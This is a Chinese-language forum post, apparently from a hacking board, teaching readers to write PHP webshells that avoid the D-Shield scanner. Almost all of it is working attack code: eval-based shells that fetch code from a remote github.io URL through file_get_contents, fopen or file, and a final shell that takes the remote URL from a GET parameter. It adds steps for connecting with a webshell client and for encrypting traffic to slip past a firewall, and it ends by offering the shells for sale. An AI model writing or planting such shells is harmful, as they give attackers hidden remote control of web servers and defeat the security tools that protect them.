一般的php webshell是这样的
<?php @eval($_POST['nie']); ?>
这种webshell有很大的局限性,然后各位大佬就开始了对webshell的各种操作
大部分都是拆分关键词的,文件包含的,双文件上传的,函数回调的。。。
然鹅,有一类免杀技巧却见的很少,但是实战中遇到各种花样webshell都有它的身影。
这就是读取远程文件
php中有几个函数都有调度远程文件的能力
小弟我选取其中三个做了文章。
1,file_get_contents()函数
这是大佬文章中见的比较多的一个函数
我在远程文档中写入
然后webshell就诞生了(我用个giethub的pages所以我直接下面那个地址是我github中的文件,昵称用xxx代替了)
<?php eval(file_get_contents('https://xxx.github.io/shell/common.txt')); ?>
然后d盾直接给我来一句已知后门?
你既然认识这个那我就要把这个变得你不认识,把这玩意拆分开。
<?php
$nie=file_get_contents('https://xxx.github.io/shell/common.txt');
eval($nie);
?>
就这样d盾竟然就不认识了?也是离谱。
然后第一种后门我们就写好了
2,fopen()函数
读取加拆分又是轻松免杀
<?php
$a=fopen('https://xxx.github.io/shell/common.txt','r');
eval(fgets($a));
fclose($a);
?>
3,file()函数
file()函数有点小特殊,file()函数是以数组方式读取文件的
那我们加上implode()函数把数组转换为字符就可以了,由于双函数嵌套不需要做拆分。
<?php
eval(implode(file('https://xxx.github.io/shell/common.txt')));
?>
这三个webshell都可以过轻松d盾查杀
这样被发现容易泄露我们的github地址。那么还有什么更加隐蔽的方法呢?
当然有来看看最终版本
<?php
$url = $_GET['密码1'];
$a = fopen($url,'r');
eval(fgets($a));
fclose($a);
?>
用法:自定义数字英文密码代替上图密码1
远程创建文件内容eval($_POST['密码2']);
菜刀连接方法http://xxx.com/xxx.php?密码1=你远程创建的文件地址
连接密码写入密码2
图中密码1为url,密码2是nie。
连接成功
你以为这就完了吗?
说明你没有理解远程读取的可怕之处。
我随时可以修改远程文件,那么我把远程文件换成大马会怎么样?(忽略图中php版本不兼容问题,记得远程文件要去掉<?php?>)
建议还是用小马,大马的话优先考虑上面三种。
这相当于你拥有了超能力啊
未完待续。。。(远程文件要写数据加密,不然再传输数据时会被狗拦截)
四个打包
bypass.zip
(812 Bytes, 下载次数: 6, 售价: 35 K币)
|